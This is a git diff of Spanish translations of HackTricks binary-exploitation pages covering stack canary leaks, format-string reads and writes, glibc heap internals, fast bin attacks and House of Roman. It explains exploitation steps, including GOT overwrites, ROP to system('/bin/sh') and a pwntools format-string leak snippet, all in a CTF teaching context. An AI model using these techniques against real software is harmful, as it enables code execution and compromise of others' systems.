[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el writeup anterior. - **Modificar la entrada GOT de `__stack_chk_fail`** Si el binario tiene Partial RELRO, entonces puedes usar una escritura arbitraria para modificar la **entrada GOT de `__stack_chk_fail`** para que sea una función ficticia que no bloquee el programa si el canary se modifica. -Este ataque se realiza en el informe: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Este ataque se realiza en el writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) ## Referencias diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 83a4667b4..74024d251 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,8 +1,8 @@ -# Imprimir Stack Canary +# Print Stack Canary {{#include ../../../banners/hacktricks-training.md}} -## Ampliar stack impreso +## Ampliar el stack impreso Imagina una situación donde un **programa vulnerable** a desbordamiento de stack puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de stack**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba el stack hasta justo el primer byte del canario**. @@ -17,11 +17,11 @@ Obviamente, esta táctica es muy **restringida** ya que el atacante necesita pod - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) -- 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop a r0 (arg `/bin/sh`) y pc (dirección de system) +- 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop de r0 (arg `/bin/sh`) y pc (dirección de system) ## Lectura Arbitraria -Con una **lectura arbitraria** como la proporcionada por **cadenas de formato** podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en: +Con una **lectura arbitraria** como la proporcionada por **cadenas** de formato, podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre abusar de cadenas de formato para leer direcciones de memoria arbitrarias en: {{#ref}} ../../format-strings/ diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 72428a4ca..cd21a0470 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -73,7 +73,7 @@ Nota que el atacante controla el parámetro de `printf`, **lo que básicamente s ## **Lectura Arbitraria** -Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición de la pila, es posible imprimir el inicio del binario con: +Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con: ```python from pwn import * @@ -91,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ### Encontrar el desplazamiento -Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`. +Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`.
@@ -146,7 +146,8 @@ Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0 Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).** -En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec: +En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar: + {{#ref}} ../arbitrary-write-2-exec/ @@ -213,5 +214,4 @@ Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena d - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados. - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index e6e887e22..0ae107c23 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,5 +1,7 @@ # Libc Heap +{{#include ../../banners/hacktricks-training.md}} + ## Heap Basics El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se pone a disposición llamando a la función **`free`**. @@ -10,9 +12,9 @@ Como se muestra, está justo después de donde se carga el binario en memoria (v ### Basic Chunk Allocation -Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde se encuentra cada chunk. Para esto, se utiliza la información del chunk de metadatos para saber dónde se encuentra cada chunk usado/libre. +Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde está cada chunk. Para esto, se utiliza la información de metadatos del chunk para saber dónde está cada chunk usado/libre. -Existen diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente: +Hay diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente: - El programa comienza solicitando cierta cantidad de memoria. - Si en la lista de chunks hay uno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará. @@ -21,7 +23,7 @@ Existen diferentes formas de reservar el espacio, principalmente dependiendo del - Si no hay suficiente espacio en el heap para asignar el nuevo chunk, el administrador del heap solicita al kernel que expanda la memoria asignada al heap y luego utiliza esta memoria para generar el nuevo chunk. - Si todo falla, `malloc` devuelve null. -Ten en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada. +Tenga en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada. ## Arenas @@ -41,11 +43,11 @@ Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaci - El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`. - Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada. 2. **Reserva de Memoria con `mmap`**: -- Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar. +- Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deben usar. - Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits. 3. **Expansión Gradual con `mprotect`**: - La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún. -- Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que lleva al kernel a asignar memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario. +- Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que provoca que el kernel asigne memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario. - Una vez que se agota todo el subheap, el administrador del heap crea un nuevo subheap para continuar la asignación. ### heap_info @@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; **Cada heap** (arena principal u otras arenas de hilos) tiene una **estructura `malloc_state`.**\ Es importante notar que la **estructura `malloc_state` de la arena principal** es una **variable global en la libc** (por lo tanto, ubicada en el espacio de memoria de la libc).\ -En el caso de las **estructuras `malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**. +En el caso de las estructuras **`malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**. Hay algunas cosas interesantes a notar de esta estructura (ver el código C a continuación): @@ -92,7 +94,7 @@ Hay algunas cosas interesantes a notar de esta estructura (ver el código C a co - Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes **filtrar estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**. - Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas. - El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio. -- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero a la parte restante se coloca aquí. +- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, una parte del puntero restante se coloca aquí. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -164,7 +166,7 @@ Como se comentó anteriormente, estos bloques también tienen algunos metadatos, Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizando los últimos 3 bits para indicar: - `A`: Si es 1 proviene de un subheap, si es 0 está en la arena principal -- `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no forma parte de un heap +- `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no parte de un heap - `P`: Si es 1, el bloque anterior está en uso Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado). @@ -178,7 +180,7 @@ Además, cuando está disponible, los datos del usuario también se utilizan par

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] +> [!TIP] > Nota cómo enlazar la lista de esta manera evita la necesidad de tener un array donde se registre cada bloque individualmente. ### Punteros de Bloque @@ -352,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Establecer encabezado y pie de página (cuando se utilizan números de fragmento) +- Establecer encabezado y pie de página (cuando se utilizan números de fragmentos) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -491,7 +493,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto: +Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrompido: {{#ref}} heap-memory-functions/heap-functions-security-checks.md @@ -501,3 +503,5 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index 0a265e968..f66aedf1c 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -16,7 +16,7 @@ Por lo tanto, un tcache es similar a un bin rápido por hilo en el sentido de qu **Cuando un hilo libera** un chunk, **si no es demasiado grande** para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 chunks), **se asignará allí**. Si no puede ir al tcache, tendrá que esperar a que se desbloquee el heap para poder realizar la operación de liberación globalmente. -Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache, lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\ +Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\ También hay una optimización, en este caso, mientras tiene el lock del heap, el hilo **llenará su Tcache con chunks del heap (7) del tamaño solicitado**, así que en caso de que necesite más, los encontrará en Tcache.
@@ -151,18 +151,18 @@ memset (tcache, 0, sizeof (tcache_perthread_struct)); El tcache tiene varios bins dependiendo del tamaño y los punteros iniciales al **primer chunk de cada índice y la cantidad de chunks por índice se encuentran dentro de un chunk**. Esto significa que al localizar el chunk con esta información (generalmente el primero), es posible encontrar todos los puntos iniciales de tcache y la cantidad de chunks de Tcache. -### Bins rápidos +### Bins Rápidos Los bins rápidos están diseñados para **acelerar la asignación de memoria para chunks pequeños** al mantener chunks recientemente liberados en una estructura de acceso rápido. Estos bins utilizan un enfoque de Último en Entrar, Primero en Salir (LIFO), lo que significa que el **chunk liberado más recientemente es el primero** en ser reutilizado cuando hay una nueva solicitud de asignación. Este comportamiento es ventajoso para la velocidad, ya que es más rápido insertar y eliminar desde la parte superior de una pila (LIFO) en comparación con una cola (FIFO). Además, **los bins rápidos utilizan listas enlazadas simples**, no dobles, lo que mejora aún más la velocidad. Dado que los chunks en bins rápidos no se fusionan con los vecinos, no hay necesidad de una estructura compleja que permita la eliminación desde el medio. Una lista enlazada simple es más simple y rápida para estas operaciones. -Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al chunk liberado más reciente de ese tamaño. Así que: +Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al último chunk liberado de ese tamaño. Así que: - Cuando se asigna un nuevo chunk de ese tamaño, el encabezado apunta a un chunk libre para usar. Como este chunk libre apunta al siguiente para usar, esta dirección se almacena en el encabezado para que la siguiente asignación sepa dónde obtener un chunk disponible. - Cuando se libera un chunk, el chunk libre guardará la dirección del chunk actualmente disponible y la dirección de este chunk recién liberado se pondrá en el encabezado. -El tamaño máximo de una lista enlazada es `0x80` y están organizadas de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`... +El tamaño máximo de una lista enlazada es `0x80` y están organizados de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`... > [!CAUTION] > Los chunks en bins rápidos no se establecen como disponibles, por lo que se mantienen como chunks de bin rápido durante algún tiempo en lugar de poder fusionarse con otros chunks libres que los rodean. @@ -244,20 +244,20 @@ Fastbins[idx=1, size=0x30] 0x00 ### Unsorted bin -El unsorted bin es una **cache** utilizada por el gestor de heap para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un chunk, y si este chunk no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el gestor de heap no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier chunk libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo chunk en un bin general llamado "unsorted bin." +El unsorted bin es un **cache** utilizado por el administrador de memoria para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un bloque, y si este bloque no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el administrador de memoria no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier bloque libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo bloque en un bin general llamado "unsorted bin." -Cuando un programa **pide memoria**, el gestor de heap **verifica el unsorted bin** para ver si hay un chunk de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un chunk adecuado en el unsorted bin, mueve todos los chunks en esta lista a sus bins correspondientes, ya sea pequeños o grandes, según su tamaño. +Cuando un programa **pide memoria**, el administrador de memoria **verifica el unsorted bin** para ver si hay un bloque de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un bloque adecuado en el unsorted bin, mueve todos los bloques en esta lista a sus respectivos bins, ya sea pequeños o grandes, según su tamaño. -Ten en cuenta que si un chunk más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin. +Ten en cuenta que si un bloque más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin. Así que, el unsorted bin es una forma de acelerar la asignación de memoria al reutilizar rápidamente la memoria recientemente liberada y reducir la necesidad de búsquedas y fusiones que consumen tiempo. > [!CAUTION] -> Ten en cuenta que incluso si los chunks son de diferentes categorías, si un chunk disponible está colisionando con otro chunk disponible (incluso si originalmente pertenecen a diferentes bins), serán fusionados. +> Ten en cuenta que incluso si los bloques son de diferentes categorías, si un bloque disponible está colisionando con otro bloque disponible (incluso si originalmente pertenecen a diferentes bins), se fusionarán.
-Agregar un ejemplo de chunk no ordenado +Add a unsorted chunk example ```c #include #include @@ -285,9 +285,9 @@ free(chunks[i]); return 0; } ``` -Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. +Nota cómo asignamos y liberamos 9 bloques del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el bloque superior**. -Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor no ordenado: +Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un bloque está en el contenedor no ordenado: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -368,7 +368,7 @@ chunks[9] = malloc(0x110); return 0; } ``` -Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**. +Note cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**. Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor pequeño: ```bash @@ -402,11 +402,11 @@ Los bins grandes son más lentos de operar en comparación con los bins pequeño Hay: -- 32 bins de rango 64B (colisionan con bins pequeños) -- 16 bins de rango 512B (colisionan con bins pequeños) -- 8 bins de rango 4096B (parte colisionan con bins pequeños) -- 4 bins de rango 32768B -- 2 bins de rango 262144B +- 32 bins de rango de 64B (colisionan con bins pequeños) +- 16 bins de rango de 512B (colisionan con bins pequeños) +- 8 bins de rango de 4096B (parte colisiona con bins pequeños) +- 4 bins de rango de 32768B +- 2 bins de rango de 262144B - 1 bin para tamaños restantes
@@ -451,7 +451,7 @@ Hay:
-Agregar un ejemplo de un gran fragmento +Agregar un ejemplo de un gran bloque ```c #include #include @@ -468,7 +468,7 @@ chunks[0] = malloc(0x2000); return 0; } ``` -Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la liberada del contenedor no ordenado al contenedor grande). +Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la libre del contenedor no ordenado al contenedor grande). Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un chunk está en el contenedor grande: ```bash @@ -519,10 +519,10 @@ the 2 preceding words to be zero during this interval as well.) /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` -Básicamente, este es un trozo que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún trozo libre disponible para usar, este trozo superior reducirá su tamaño para dar el espacio necesario.\ +Básicamente, este es un chunk que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún chunk libre disponible para usar, este top chunk reducirá su tamaño para dar el espacio necesario.\ El puntero al Top Chunk se almacena en la estructura `malloc_state`. -Además, al principio, es posible usar el trozo no ordenado como el trozo superior. +Además, al principio, es posible usar el chunk no ordenado como el top chunk.
@@ -570,6 +570,7 @@ Cuando se utiliza malloc y un chunk se divide (por ejemplo, desde el bin no orde Consulta: + {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} @@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md Consulta: + {{#ref}} heap-memory-functions/free.md {{#endref}} @@ -586,6 +588,7 @@ heap-memory-functions/free.md Revisa las comprobaciones de seguridad realizadas por funciones de uso intensivo en heap en: + {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index 2c6271efc..bfc72ff4e 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -130,20 +130,14 @@ Finalmente, se escribió un **one gadget** allí. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros. - **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, solo lee esta dirección. -- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks con el mismo tamaño y primero obtendremos el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`. +- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) -- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT. +- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a los chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT. - Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin: - Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Solo podemos asignar chunks de tamaño mayor que `0x100`. - Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). - Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y hacer que algunas funciones apunten a `system`. - -{{#ref}} -unsorted-bin-attack.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index f432ba741..3b928ff62 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -6,6 +6,7 @@ Para más información, consulta: + {{#ref}} unlink.md {{#endref}} @@ -23,6 +24,7 @@ Este es un resumen de las comprobaciones realizadas: Para más información, consulta: + {{#ref}} malloc-and-sysmalloc.md {{#endref}} @@ -68,7 +70,7 @@ malloc-and-sysmalloc.md - **Comprobaciones durante la búsqueda en large bin (siguiente más grande):** - `bck->fd-> bk != bck`: - Mensaje de error: `malloc(): corrupted unsorted chunks2` -- **Comprobaciones durante el uso del Top chunk:** +- **Comprobaciones durante el uso de Top chunk:** - `chunksize(av->top) > av->system_mem`: - Mensaje de error: `malloc(): corrupted top size` @@ -94,6 +96,7 @@ malloc-and-sysmalloc.md Para más información, consulta: + {{#ref}} free.md {{#endref}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index 28ed22e79..9f7148691 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -19,7 +19,7 @@ Esta fue una técnica muy interesante que permitió RCE sin leaks a través de f - Editar punteros de fastbin y unsorted bin - 12 bits de aleatoriedad deben ser forzados por fuerza bruta (0.02% de probabilidad) de funcionar -## Pasos de Ataque +## Pasos del Ataque ### Parte 1: Fastbin Chunk apunta a \_\_malloc_hook @@ -30,11 +30,11 @@ Crea varios chunks: - `main_arena_use` (0x80, offset 0x100) - `relative_offset_heap` (0x60, offset 0x190): offset relativo en el chunk 'main_arena_use' -Luego `free(main_arena_use)` lo que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`. +Luego `free(main_arena_use)` que colocará este chunk en la lista no ordenada y obtendrá un 